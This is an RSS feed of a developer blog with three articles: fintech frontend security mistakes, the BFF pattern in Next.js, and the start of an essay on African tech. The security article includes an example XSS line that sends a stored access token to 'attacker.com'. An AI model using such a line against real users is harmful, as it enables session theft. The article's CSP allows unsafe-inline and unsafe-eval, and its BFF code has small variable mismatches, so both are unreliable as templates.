<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Timiebi's Engineering Notes]]></title><description><![CDATA[Articles about React, Next.js, TypeScript, frontend architecture, Nestjs, backend architecture performance, and software engineering]]></description><link>https://timiebi.hashnode.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1593680282896/kNC7E8IR4.png</url><title>Timiebi&apos;s Engineering Notes</title><link>https://timiebi.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Wed, 09 Sep 2026 19:50:55 GMT</lastBuildDate><atom:link href="https://timiebi.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Frontend Security in Fintech- 
By Kosu, Timiebi Nicholas]]></title><description><![CDATA[Fintech is unforgiving.
In most applications, a bug means a broken UI or a failed request. In a fintech application, a bug can mean a user's money disappears, their account gets compromised, or their ]]></description><link>https://timiebi.hashnode.dev/frontend-security-in-fintech-by-kosu-timiebi-nicholas</link><guid isPermaLink="true">https://timiebi.hashnode.dev/frontend-security-in-fintech-by-kosu-timiebi-nicholas</guid><category><![CDATA[Security]]></category><category><![CDATA[Next.js]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[fintech]]></category><category><![CDATA[React]]></category><dc:creator><![CDATA[KOSU TIMIEBI NICHOLAS]]></dc:creator><pubDate>Tue, 18 Aug 2026 23:35:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a590b3982668ad602ba8fd2/b0ac2666-6bbe-4c8a-a48a-6a73a45ad37f.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Fintech is unforgiving.</p>
<p>In most applications, a bug means a broken UI or a failed request. In a fintech application, a bug can mean a user's money disappears, their account gets compromised, or their personal financial data gets exposed to someone it was never meant to reach.</p>
<p>I have spent years building production fintech applications investment platforms, remittance products, agricultural payment systems. Security is not a phase you add at the end of a sprint. It is a discipline you build into every decision from the first line of code.</p>
<p>These are the mistakes I see most frequently some I caught in code review, some I caught in production, and a few I made myself before I knew better.</p>
<h3>Vulnerability 1 — Storing Tokens in localStorage</h3>
<p>This is the most common and most dangerous mistake in frontend security.It looks harmless:</p>
<pre><code class="language-javascript">// ❌ Never do this
localStorage.setItem('access_token', response.data.token);

// Then later
const token = localStorage.getItem('access_token');
</code></pre>
<p>The problem is fundamental. <code>localStorage</code> is accessible by any JavaScript running on your page. If your application has a single XSS (Cross-Site Scripting) vulnerability a malicious script injected through a compromised dependency, an unsanitized user input, or a third-party widget an attacker can read every token stored in <code>localStorage</code> in one line:</p>
<pre><code class="language-javascript">// What an attacker does after finding an XSS vulnerability
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('access_token')
  })
});
</code></pre>
<p>Your user's session is now in someone else's hands. In a fintech app, that means their account, their balance, their transaction history, and potentially their ability to move money.</p>
<p><strong>The fix:</strong></p>
<p>Store access tokens in memory only never in any browser storage. Use <code>httpOnly</code> cookies for refresh tokens, since <code>httpOnly</code> cookies are completely inaccessible to JavaScript.</p>
<p>for refresh tokens, since <code>httpOnly</code> cookies are completely inaccessible to JavaScript.</p>
<pre><code class="language-typescript">// ✅ Store access token in memory only
let accessToken: string | null = null;

export function setAccessToken(token: string) {
  accessToken = token;
}

export function getAccessToken() {
  return accessToken;
}

export function clearAccessToken() {
  accessToken = null;
}
</code></pre>
<p>The trade-off is that the access token is lost on page refresh which is why you pair this with a <code>httpOnly</code> refresh token cookie. On every page load, your app silently calls a refresh endpoint, which reads the <code>httpOnly</code> cookie server-side and returns a fresh access token to store in memory.</p>
<pre><code class="language-typescript">// On app initialisation — silently refresh the token
async function initialiseAuth() {
  try {
    const response = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include', // sends the httpOnly cookie automatically
    });

    if (response.ok) {
      const { accessToken } = await response.json();
      setAccessToken(accessToken);
    }
  } catch {
    // User is not authenticated — redirect to login
    redirect('/login');
  }
}
</code></pre>
<h3>Vulnerability 2 — Not Sanitizing User Input Before Sending to the API</h3>
<p>Frontend validation is for user experience. Backend validation is for security. Most engineers know this intellectually but still skip input sanitization on the frontend entirely.</p>
<p>Here is why it matters even on the frontend:</p>
<p>In a fintech app, users enter amounts, account numbers, descriptions, and references. Without sanitization, a malicious user can attempt to inject scripts through these fields that execute if the data is ever rendered without proper escaping.</p>
<pre><code class="language-typescript">// ❌ Sending raw user input directly
const handleTransfer = async (formData: FormData) =&gt; {
  await fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({
      amount: formData.get('amount'),
      reference: formData.get('reference'),
      description: formData.get('description'),
    }),
  });
};
</code></pre>
<p><strong>The fix:</strong></p>
<p>Sanitize and validate before sending. For financial amounts specifically, always parse to a number and validate the range. For text fields, strip HTML entirely:</p>
<pre><code class="language-typescript">import DOMPurify from 'dompurify';

// ✅ Sanitize before sending
const handleTransfer = async (formData: FormData) =&gt; {
  const rawAmount = formData.get('amount') as string;
  const rawDescription = formData.get('description') as string;

  // Parse and validate amount
  const amount = parseFloat(rawAmount);
  if (isNaN(amount) || amount &lt;= 0 || amount &gt; 1_000_000) {
    throw new Error('Invalid amount');
  }

  // Round to 2 decimal places — never trust floating point in finance
  const sanitizedAmount = Math.round(amount * 100) / 100;

  // Strip any HTML from text fields
  const sanitizedDescription = DOMPurify.sanitize(rawDescription, {
    ALLOWED_TAGS: [], // No HTML allowed — plain text only
  });

  await fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({
      amount: sanitizedAmount,
      description: sanitizedDescription,
    }),
  });
};
</code></pre>
<h3>Vulnerability 3 — Exposing Sensitive Data in the URL</h3>
<p>This one is subtle and surprisingly common.</p>
<p>In fintech applications, developers sometimes pass sensitive information through URL parameters for convenience:</p>
<pre><code class="language-plaintext">// ❌ Never put sensitive data in URLs
/confirm-payment?amount=50000&amp;account=0123456789&amp;token=abc123
/reset-password?email=user@example.com&amp;token=xyz789
</code></pre>
<p>URLs are logged everywhere. Browser history. Server logs. Proxy logs. Nginx access logs. Analytics platforms. If any of these systems are compromised or simply misconfigured, you have exposed sensitive financial data or valid tokens to unauthorized parties.</p>
<p><strong>The fix:</strong></p>
<p>Keep sensitive data in request bodies or headers — never in the URL. For multi-step flows like payment confirmation, store the flow state server-side (in a session or temporary database record) and pass only an opaque reference ID in the URL:</p>
<pre><code class="language-typescript">// ✅ Only a reference ID in the URL — nothing sensitive
/confirm-payment?ref=a7f3c2e1

// Server looks up the payment details using the ref
// The actual account number, amount, and token never touch the URL
</code></pre>
<h3>Mistake 4 — Missing CSRF Protection on State-Changing Requests</h3>
<p>Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks an authenticated user's browser into making requests to your application without their knowledge.</p>
<p>In a fintech context imagine a user is logged into your payment platform and visits a malicious website. That website contains a hidden form that submits a transfer request to your API. Because the user is authenticated, their session cookie is automatically attached to the request. If your API does not have CSRF protection, the transfer goes through.</p>
<p>This is especially dangerous if you are using cookie-based authentication which, as we established in Vulnerability 1, you should be.</p>
<p><strong>The fix:</strong></p>
<p>Implement the Synchronizer Token Pattern. On every page load, your server generates a unique CSRF token and sends it to the frontend. Every state-changing request (POST, PUT, DELETE) must include this token in a custom header. Since malicious sites cannot read your application's response (due to CORS), they cannot obtain a valid CSRF token.</p>
<p>In Next.js:</p>
<pre><code class="language-typescript">// Generate CSRF token server-side
// app/api/auth/csrf/route.ts
import { NextResponse } from 'next/server';
import crypto from 'crypto';

export async function GET() {
  const csrfToken = crypto.randomBytes(32).toString('hex');

  const response = NextResponse.json({ csrfToken });

  // Set as httpOnly cookie too for double-submit cookie pattern
  response.cookies.set('csrf-token', csrfToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
  });

  return response;
}
</code></pre>
<pre><code class="language-typescript">// Include CSRF token in every state-changing request
const csrfToken = await getCsrfToken(); // fetched on app init

await fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken, // Custom header
    'Content-Type': 'application/json',
  },
  body: JSON.stringify(transferData),
});
</code></pre>
<h3>Vulnerability 5 — Logging Sensitive Data in the Console</h3>
<p>This one costs engineers in code review regularly and sometimes makes it to production unnoticed.</p>
<pre><code class="language-javascript">// ❌ This happens more than you think
console.log('Transfer payload:', { 
  accountNumber: '0123456789',
  amount: 50000,
  pin: '1234' 
});

console.log('User data:', userData); // userData contains BVN, address, DOB
</code></pre>
<p>Browser consoles are accessible to anyone who opens DevTools. In a shared device or a public computer, this exposes sensitive user data trivially. It is also a compliance issue in fintech, logging PII (Personally Identifiable Information) carelessly can violate NDPR in Nigeria or GDPR in Europe.</p>
<p><strong>The fix:</strong></p>
<p>Strip all console logs in production automatically, and be deliberate about what you log in development:</p>
<pre><code class="language-javascript">// vite.config.ts or next.config.js build config
// Remove all console.log calls in production build
{
  drop: process.env.NODE_ENV === 'production' ? ['console'] : [],
}
</code></pre>
<p>For development logging, create a safe logger that never logs sensitive fields:</p>
<pre><code class="language-typescript">// lib/logger.ts
// All entries lowercase — matches after .toLowerCase() on the key
const SENSITIVE_FIELDS = [
  'pin', 'password', 'token', 'bvn',
  'accountnumber',   
  'cardnumber',    
  'cvv', 'secret',
  'apikey', 'privatekey'
];

function redact(obj: Record&lt;string, unknown&gt;): Record&lt;string, unknown&gt; {
  return Object.fromEntries(
    Object.entries(obj).map(([key, value]) =&gt; [
      key,
      SENSITIVE_FIELDS.includes(key.toLowerCase()) ? '[REDACTED]' : value,
    ])
  );
}

// Usage
logger.log('Transfer payload:', {
  accountNumber: '0123456789', // → [REDACTED] 
  cardNumber: '411111111111',  // → [REDACTED] 
  pin: '1234',                 // → [REDACTED] 
  amount: 50000,               // → 50000 
  description: 'Transfer',    // → 'Transfer' 
});
</code></pre>
<hr />
<h3>Vulnerability 6 — Trusting the Frontend for Authorization</h3>
<p>This mistake does not live in the frontend code itself it lives in the assumptions the backend makes because of what the frontend does.</p>
<p>A common pattern I have seen:</p>
<pre><code class="language-typescript">// ❌ Hiding UI elements based on role — and assuming that's enough
{user.role === 'admin' &amp;&amp; (
  &lt;button onClick={deleteUserAccount}&gt;Delete Account&lt;/button&gt;
)}
</code></pre>
<p>The button is hidden. The API endpoint it calls is not protected. Any user who knows the endpoint URL or inspects the network tab can call it directly with their own token.</p>
<p>Frontend authorization is UI logic. It controls what users see. It does not control what they can do. Every API endpoint must enforce authorization server-side independently of whatever the frontend shows or hides.</p>
<p><strong>The fix:</strong></p>
<p>Always verify authorization server-side. On the frontend, be explicit that role checks are presentation only:</p>
<pre><code class="language-typescript">// ✅ UI-level role check — presentation only
// The actual protection lives in the API route
{user.role === 'admin' &amp;&amp; (
  &lt;button onClick={deleteUserAccount}&gt;Delete Account&lt;/button&gt;
)}

// In your Next.js API route — real authorization
// app/api/admin/delete-user/route.ts
export async function DELETE(request: NextRequest) {
  const session = await getServerSession(authOptions);

  // This check is the real protection
  if (!session || session.user.role !== 'admin') {
    return NextResponse.json(
      { error: 'Forbidden' },
      { status: 403 }
    );
  }

  // Proceed with deletion
}
</code></pre>
<h3>Vulnerability 7 — Not Setting Security Headers</h3>
<p>Security headers are one of the highest-impact, lowest-effort security improvements you can make in a Next.js application. Most applications ship without them.</p>
<pre><code class="language-typescript">// next.config.js
const securityHeaders = [
  {
    key: 'X-DNS-Prefetch-Control',
    value: 'on',
  },
  {
    // Prevents clickjacking attacks
    key: 'X-Frame-Options',
    value: 'SAMEORIGIN',
  },
  {
    // Prevents MIME type sniffing
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    // Forces HTTPS
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload',
  },
  {
    // Controls what browser features your app can use
    key: 'Permissions-Policy',
    value: 'camera=(), microphone=(), geolocation=()',
  },
  {
    // Prevents information leakage in referrer headers
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin',
  },
  {
    // Content Security Policy — most powerful, most complex
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self' 'unsafe-eval' 'unsafe-inline'",
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' blob: data:",
      "font-src 'self'",
      "object-src 'none'",
      "base-uri 'self'",
      "form-action 'self'",
      "frame-ancestors 'none'",
      "block-all-mixed-content",
      "upgrade-insecure-requests",
    ].join('; '),
  },
];

const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: securityHeaders,
      },
    ];
  },
};

module.exports = nextConfig;
</code></pre>
<h3>The Mindset Shift</h3>
<p>Individual security fixes matter. But the bigger shift is learning to think adversarially about your own code.</p>
<p>Before shipping any feature that touches money, authentication, or personal data, ask yourself:</p>
<ul>
<li><p>What happens if someone calls this API endpoint directly without going through my UI?</p>
</li>
<li><p>What happens if a malicious script runs on this page?</p>
</li>
<li><p>What happens if this URL ends up in a server log?</p>
</li>
<li><p>What data am I putting in the browser that should stay on the server?</p>
</li>
<li><p>What am I assuming the backend will validate that it might not?</p>
</li>
</ul>
<p>Security in fintech is not a checklist you complete. It is a perspective you develop. The engineers who build the most secure financial products are not the ones who memorized the most security rules. They are the ones who internalized the question: <strong>what could go wrong here, and who could make it go wrong?</strong></p>
<p>Build with that question running in the background constantly. Your users are trusting you with their money. That trust is the most serious professional responsibility a fintech engineer carries.</p>
]]></content:encoded></item><item><title><![CDATA[The BFF Pattern in Next.js — The Architecture Decision Most Developers Skip

By Kosu, Timiebi Nicholas]]></title><description><![CDATA[There is a moment in the life of most frontend developers when the API problem becomes obvious.
You are building a feature. The backend gives you an endpoint. You call it. It returns 47 fields. You ne]]></description><link>https://timiebi.hashnode.dev/the-bff-pattern-in-next-js-the-architecture-decision-most-developers-skip-by-kosu-timiebi-nicholas</link><guid isPermaLink="true">https://timiebi.hashnode.dev/the-bff-pattern-in-next-js-the-architecture-decision-most-developers-skip-by-kosu-timiebi-nicholas</guid><category><![CDATA[React]]></category><category><![CDATA[Next.js]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[#Web Architecture]]></category><category><![CDATA[BFF Pattern]]></category><category><![CDATA[bff]]></category><dc:creator><![CDATA[KOSU TIMIEBI NICHOLAS]]></dc:creator><pubDate>Fri, 14 Aug 2026 07:07:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a590b3982668ad602ba8fd2/a5e6ae5d-490e-4c97-895a-c0b47897de4b.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There is a moment in the life of most frontend developers when the API problem becomes obvious.</p>
<p>You are building a feature. The backend gives you an endpoint. You call it. It returns 47 fields. You need 6. The other 41 travel across the network, get parsed by the browser, sit in memory, and do nothing.</p>
<p>Then the mobile team needs the same data. But they need it shaped differently. So the backend builds another endpoint. Or adds query parameters. Or you build a second fetch call and merge the responses on the frontend.</p>
<p>The codebase gets messier. The network gets chattier. The user experience gets slower.</p>
<p>There is a name for this problem. And there is a pattern that solves it.</p>
<p>It is called the <strong>Backend For Frontend</strong> — or BFF.</p>
<h3>What BFF Actually Is</h3>
<p>The Backend For Frontend pattern is an architectural approach where you create a dedicated backend layer — one that exists specifically to serve your frontend's needs.</p>
<p>Not a general-purpose API. Not a microservice that every client shares. A backend that speaks your frontend's language, returns exactly what your UI needs, and handles the complexity of talking to multiple backend services so your frontend does not have to.</p>
<p>The concept was first articulated clearly by Sam Newman in 2015 — but it has become dramatically more relevant in the Next.js era because Next.js gives you the perfect tool to implement it: <strong>API Routes</strong> and <strong>Server Actions</strong>.</p>
<p>Most Next.js developers use API routes for simple things — a contact form handler, a webhook receiver, a small utility endpoint. Very few use them as a proper BFF layer. That is the gap this article addresses.</p>
<h3>The Problem BFF Solves — A Real Example</h3>
<p>Let me show you a concrete situation before explaining the solution.</p>
<p>Imagine you are building a fintech dashboard. Your dashboard page needs to display:</p>
<ul>
<li><p>User account details (name, KYC status, account tier)</p>
</li>
<li><p>Recent transactions (last 10, with amounts and status)</p>
</li>
<li><p>Current profile</p>
</li>
<li><p>Notifications (unread count)</p>
</li>
</ul>
<p>Without BFF, your frontend makes four separate API calls:</p>
<pre><code class="language-javascript">// ❌ Without BFF — 4 separate calls from the browser
const [user, transactions, portfolio, notifications] = await Promise.all([
  fetch('/api/users/me'),
  fetch('/api/transactions?limit=10'),
  fetch('/api/profile/summary'),
  fetch('/api/notifications/unread-count')
]);
</code></pre>
<p>This works. But it has real problems:</p>
<p><strong>Problem 1 — Waterfalling data:</strong> If any of these calls fail, your UI is in a partial state. You need to handle four separate loading states, four separate error states, and four separate retry mechanisms.</p>
<p><strong>Problem 2 — Over-fetching:</strong> Each endpoint returns full objects. The user endpoint returns 30 fields. You display 4 of them. The transaction endpoint returns full transaction objects. You display amount, date, and status.</p>
<p><strong>Problem 3 — Exposed backend structure:</strong> Your frontend now knows about four separate backend services. If the backend team restructures their services, your frontend breaks.</p>
<p><strong>Problem 4 — Auth complexity duplicated everywhere:</strong> Every single call needs to attach the auth token, handle 401 responses, and manage token refresh. That logic lives in multiple places.</p>
<p>Now here is the same thing with a BFF:</p>
<pre><code class="language-javascript">// ✅ With BFF — 1 call from the browser
const dashboard = await fetch('/api/dashboard');
</code></pre>
<p>And the BFF layer handles everything else.</p>
<h3>How BFF Works in Next.js</h3>
<p>Next.js is uniquely positioned for BFF implementation because it runs on Node.js — meaning your API routes have full server capabilities. They can call external APIs, access environment variables securely, transform data, aggregate responses, and return exactly what your UI needs.</p>
<p>Here is the architecture:</p>
<pre><code class="language-plaintext">Browser (React Components)
         ↓
Next.js API Routes (Your BFF Layer)
         ↓
External Backend Services / APIs
</code></pre>
<p>Your React components never talk to external APIs directly. They talk to your BFF. Your BFF talks to everyone else.</p>
<h3>Building a Real BFF in Next.js — Step by Step</h3>
<p>Let me build the dashboard example properly.</p>
<h4>Project Structure</h4>
<pre><code class="language-plaintext">app/
├── api/
│   ├── dashboard/
│   │   └── route.ts          ← BFF endpoint
│   ├── transactions/
│   │   └── route.ts
│   └── auth/
│       └── [...nextauth]/
│           └── route.ts
├── dashboard/
│   └── page.tsx              ← Uses BFF
lib/
├── api-client.ts             ← Internal helper for BFF to call backends
└── auth.ts
</code></pre>
<h4>Step 1 — Create an Internal API Client</h4>
<p>This is the module your BFF uses to call backend services. It handles auth, base URLs, and error handling in one place:</p>
<pre><code class="language-typescript">// lib/api-client.ts

const BACKEND_URL = process.env.BACKEND_API_URL;

interface ApiClientOptions {
  token: string;
  endpoint: string;
  method?: 'GET' | 'POST' | 'PUT' | 'DELETE';
  body?: unknown;
}

export async function backendFetch&lt;T&gt;({
  token,
  endpoint,
  method = 'GET',
  body,
}: ApiClientOptions): Promise&lt;T&gt; {
  const response = await fetch(`${BACKEND_URL}${endpoint}`, {
    method,
    headers: {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json',
    },
    body: body ? JSON.stringify(body) : undefined,
    // Next.js cache control
    next: { revalidate: 30 }, // Cache for 30 seconds
  });

  if (!response.ok) {
    throw new Error(`Backend error: ${response.status} ${endpoint}`);
  }

  return response.json();
}
</code></pre>
<h4>Step 2 — Build the BFF Endpoint</h4>
<p>This is the dashboard BFF route. It calls multiple backend services, shapes the data, and returns exactly what the UI needs — nothing more:</p>
<pre><code class="language-typescript">// app/api/dashboard/route.ts

import { NextRequest, NextResponse } from 'next/server';
import { getServerSession } from 'next-auth';
import { backendFetch } from '@/lib/api-client';
import { authOptions } from '@/lib/auth';

// Types for backend responses (usually much larger than this)
interface BackendUser {
  id: string;
  firstName: string;
  lastName: string;
  email: string;
  kycStatus: string;
  accountTier: string;
  phoneNumber: string;
  createdAt: string;
  // ... 20 more fields we don't need
}

interface BackendTransaction {
  id: string;
  amount: number;
  currency: string;
  status: string;
  type: string;
  reference: string;
  description: string;
  createdAt: string;
  // ... more fields
}

// Shaped types — exactly what the UI needs
interface DashboardResponse {
  user: {
    name: string;
    kycStatus: string;
    accountTier: string;
  };
  recentTransactions: {
    id: string;
    amount: number;
    currency: string;
    status: string;
    date: string;
  }[];
  profileValue: number;
  unreadNotifications: number;
}

export async function GET(request: NextRequest) {
  try {
    // 1. Get the session — auth is handled once here, not in every component
    const session = await getServerSession(authOptions);

    if (!session?.accessToken) {
      return NextResponse.json(
        { error: 'Unauthorized' },
        { status: 401 }
      );
    }

    const token = session.accessToken as string;

    // 2. Call all backend services in parallel
    const [user, transactions, profile, notifications] = 
      await Promise.all([
        backendFetch&lt;BackendUser&gt;({
          token,
          endpoint: '/users/me',
        }),
        backendFetch&lt;{ data: BackendTransaction[] }&gt;({
          token,
          endpoint: '/transactions?limit=10&amp;sort=desc',
        }),
        backendFetch&lt;{ totalValue: number }&gt;({
          token,
          endpoint: '/profile/summary',
        }),
        backendFetch&lt;{ count: number }&gt;({
          token,
          endpoint: '/notifications/unread',
        }),
      ]);


    // 3. Shape the response — return only what the UI needs
    const response: DashboardResponse = {
      user: {
        name: `${user.firstName} ${user.lastName}`,
        kycStatus: user.kycStatus,
        accountTier: user.accountTier,
      },
      recentTransactions: transactions.data.map((tx) =&gt; ({
        id: tx.id,
        amount: tx.amount,
        currency: tx.currency,
        status: tx.status,
        date: tx.createdAt,
      })),
      profileValue: profile.totalValue,
      unreadNotifications: notifications.count,
    };

    return NextResponse.json(response);

  } catch (error) {
    console.error('Dashboard error:', error);
    return NextResponse.json(
      { error: 'Failed to load dashboard data' },
      { status: 500 }
    );
  }
}
</code></pre>
<h4>Step 3 — Consume the BFF in Your Component</h4>
<p>Now your React component is clean. No auth logic. No multiple fetches. No data transformation:</p>
<pre><code class="language-typescript">// app/dashboard/page.tsx

async function getDashboardData() {
  const response = await fetch(
    `${process.env.NEXTAUTH_URL}/api/dashboard`, 
    { next: { revalidate: 30 } }
  );

  if (!response.ok) {
    throw new Error('Failed to fetch dashboard');
  }

  return response.json();
}

export default async function DashboardPage() {
  const data = await getDashboardData();

  return (
    &lt;main&gt;
      &lt;h1&gt;Welcome back, {data.user.name}&lt;/h1&gt;
      &lt;p&gt;Account tier: {data.user.accountTier}&lt;/p&gt;
      &lt;p&gt;Portfolio value: {data.portfolioValue}&lt;/p&gt;
      &lt;p&gt;Unread notifications: {data.unreadNotifications}&lt;/p&gt;

      &lt;section&gt;
        &lt;h2&gt;Recent Transactions&lt;/h2&gt;
        {data.recentTransactions.map((tx) =&gt; (
          &lt;div key={tx.id}&gt;
            &lt;span&gt;{tx.amount} {tx.currency}&lt;/span&gt;
            &lt;span&gt;{tx.status}&lt;/span&gt;
            &lt;span&gt;{tx.date}&lt;/span&gt;
          &lt;/div&gt;
        ))}
      &lt;/section&gt;
    &lt;/main&gt;
  );
}
</code></pre>
<p>The component is now a pure presentation layer. It receives shaped data and renders it. Nothing else.</p>
<h3>The Next.js 14+ Way — Server Actions as BFF</h3>
<p>With Next.js App Router and Server Actions, you can take the BFF pattern even further. Instead of an API route, you can use a Server Action directly:</p>
<pre><code class="language-typescript">// app/dashboard/actions.ts
'use server'

import { getServerSession } from 'next-auth';
import { backendFetch } from '@/lib/api-client';

export async function getDashboardData() {
  const session = await getServerSession();

  if (!session?.accessToken) {
    throw new Error('Unauthorized');
  }

  const [user, transactions, profile, notifications] =
    await Promise.all([
      backendFetch({ token: session.accessToken, endpoint: '/users/me' }),
      backendFetch({ token: session.accessToken, endpoint: '/transactions?limit=10' }),
      backendFetch({ token: session.accessToken, endpoint: '/profile/summary' }),
      backendFetch({ token: session.accessToken, endpoint: '/notifications/unread' }),
    ]);

  // Shape and return
  return {
    user: {
      name: `${user.firstName} ${user.lastName}`,
      kycStatus: user.kycStatus,
    },
    recentTransactions: transactions.data.slice(0, 10).map((tx) =&gt; ({
      id: tx.id,
      amount: tx.amount,
      status: tx.status,
    })),
    portfolioValue: portfolio.totalValue,
    unreadNotifications: notifications.count,
  };
}
</code></pre>
<pre><code class="language-typescript">// app/dashboard/page.tsx
import { getDashboardData } from './actions';

export default async function DashboardPage() {
  const data = await getDashboardData();
  // Render...
}
</code></pre>
<p>Server Actions eliminate the HTTP round-trip between your component and the BFF entirely. The server function runs server-side directly. Faster. Cleaner. More secure.</p>
<h3>What BFF Protects You From</h3>
<p>Beyond performance and clean code, BFF gives you something less obvious but critically important — <strong>insulation.</strong></p>
<p>When your backend team restructures their services — and they will — your frontend does not break. Your BFF absorbs the change. You update the BFF. The frontend component never knows anything changed.</p>
<p>This is especially valuable in fintech products where backend architecture evolves rapidly as the product scales. I've experienced this directly — backend changes that would have required frontend updates across multiple components instead required a single change to the BFF layer.</p>
<hr />
<h3>When NOT to Use BFF</h3>
<p>BFF is not always the right answer. Be honest with yourself:</p>
<ul>
<li><p><strong>Simple CRUD apps</strong> — if your frontend maps directly to your backend resources with no transformation needed, BFF adds complexity without benefit</p>
</li>
<li><p><strong>Small teams where you own the backend</strong> — if you control both frontend and backend, you can shape the API directly and skip the BFF layer</p>
</li>
<li><p><strong>Apps with a single client</strong> — BFF shines when multiple clients (web, mobile, internal tools) need the same backend data shaped differently. One client does not justify the pattern</p>
</li>
</ul>
<h3>Summary</h3>
<p>The BFF pattern is not exotic architecture. In Next.js, it is a natural extension of API routes and Server Actions that most developers are already using — just not intentionally.</p>
<p>The key ideas:</p>
<ul>
<li><p>Your frontend should never talk directly to external backend services</p>
</li>
<li><p>Your BFF aggregates, shapes, and secures data before it reaches the browser</p>
</li>
<li><p>Auth is handled once in the BFF — not scattered across components</p>
</li>
<li><p>Components become pure presentation layers — they receive shaped data and render it</p>
</li>
<li><p>Next.js API routes and Server Actions are purpose-built for this pattern</p>
</li>
</ul>
<p>Once you start thinking in BFF, you will find it difficult to go back. The separation of concerns is too clean. The components are too readable. The network is too quiet.</p>
]]></content:encoded></item><item><title><![CDATA[The Biggest Problem in African Tech Isn't Talent. It's Proximity.]]></title><description><![CDATA[Every engineer solves the problems they see.
If you live in San Francisco, you'll probably build tools for AI, developer productivity, or venture-backed startups.
If you live in London, you might spen]]></description><link>https://timiebi.hashnode.dev/the-biggest-problem-in-african-tech-isn-t-talent-it-s-proximity</link><guid isPermaLink="true">https://timiebi.hashnode.dev/the-biggest-problem-in-african-tech-isn-t-talent-it-s-proximity</guid><category><![CDATA[Africa]]></category><category><![CDATA[Software Engineering]]></category><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[technology]]></category><category><![CDATA[Startups]]></category><dc:creator><![CDATA[KOSU TIMIEBI NICHOLAS]]></dc:creator><pubDate>Thu, 30 Jul 2026 12:22:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a590b3982668ad602ba8fd2/250ff7f6-e3eb-46da-8533-3d2aa21ad06c.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Every engineer solves the problems they see.</p>
<p>If you live in San Francisco, you'll probably build tools for AI, developer productivity, or venture-backed startups.</p>
<p>If you live in London, you might spend your days improving digital banking, logistics, or enterprise software.</p>
<p>If you live in Lekki, you'll naturally notice problems around digital payments, food delivery, transportation, or online commerce.</p>
<p>None of this is wrong.</p>
<p>We build for the world around us.</p>
<p>The challenge is that most African software engineers no longer build where most Africans actually live.</p>
<hr />
<h2>The Urban Gravity Problem</h2>
<p>Across Africa, ambitious engineers leave smaller towns and rural communities for major cities.</p>
<p>That decision makes complete sense.</p>
<p>Cities offer better jobs, faster internet, stronger engineering communities, better universities, larger companies, and more opportunities to grow.</p>
<p>Over time, something else changes.</p>
<p>The problems you think about every day begin to change too.</p>
<p>Instead of thinking about farmers struggling to access market prices, you think about food delivery.</p>
<p>Instead of thinking about healthcare access in rural communities, you think about appointment booking apps.</p>
<p>Instead of thinking about transportation between villages, you think about ride-hailing.</p>
<p>Again, none of these problems are unimportant.</p>
<p>But they are urban problems.</p>
<p>And Africa is much larger than its cities.</p>
<hr />
<h2>We Build What We Understand</h2>
<p>I don't believe African engineers are ignoring rural communities.</p>
<p>I think something much simpler is happening.</p>
<p>Engineers solve problems they understand.</p>
<p>It's difficult to build software for people whose daily lives you no longer experience.</p>
<p>If you've spent years living in an urban environment, your assumptions begin to change.</p>
<p>You assume reliable internet.</p>
<p>You assume smartphones.</p>
<p>You assume digital payments.</p>
<p>You assume constant electricity.</p>
<p>You assume English.</p>
<p>For millions of Africans, those assumptions don't hold.</p>
<p>When our assumptions drift away from reality, our products often do too.</p>
<hr />
<h2>Africa Doesn't Need to Copy Silicon Valley</h2>
<p>Every few months, there's a new conversation about whether Africa has produced enough unicorns, enough venture capital, or enough AI startups.</p>
<p>I think we're asking the wrong question.</p>
<p>Africa doesn't need to copy Silicon Valley's priorities.</p>
<p>Silicon Valley was shaped by its own environment.</p>
<p>Its technology reflects the problems people there needed to solve.</p>
<p>Africa deserves the same opportunity.</p>
<p>Our goal shouldn't be to recreate someone else's ecosystem.</p>
<p>It should be to build technology that reflects African realities.</p>
<p>Success isn't building the African version of someone else's company.</p>
<p>Success is solving problems that only people who understand Africa would think to solve.</p>
<hr />
<h2>AI Is More Than Chatbots</h2>
<p>When people hear "AI," they often imagine humanoid robots, self-driving cars, or the next ChatGPT.</p>
<p>Those are exciting technologies.</p>
<p>But they're not where Africa's greatest opportunity lies.</p>
<p>Artificial intelligence is simply a way of learning from data and making better decisions.</p>
<p>Imagine systems that can identify areas where crime is increasing before resources are deployed.</p>
<p>Systems that detect unusual fraud patterns across financial networks.</p>
<p>Models that help governments understand transportation bottlenecks.</p>
<p>Tools that monitor inflation trends across local markets.</p>
<p>Applications that help communities prepare for floods or disease outbreaks.</p>
<p>These aren't science fiction.</p>
<p>They're practical problems that can improve everyday life.</p>
<p>The value isn't in building AI because it's fashionable.</p>
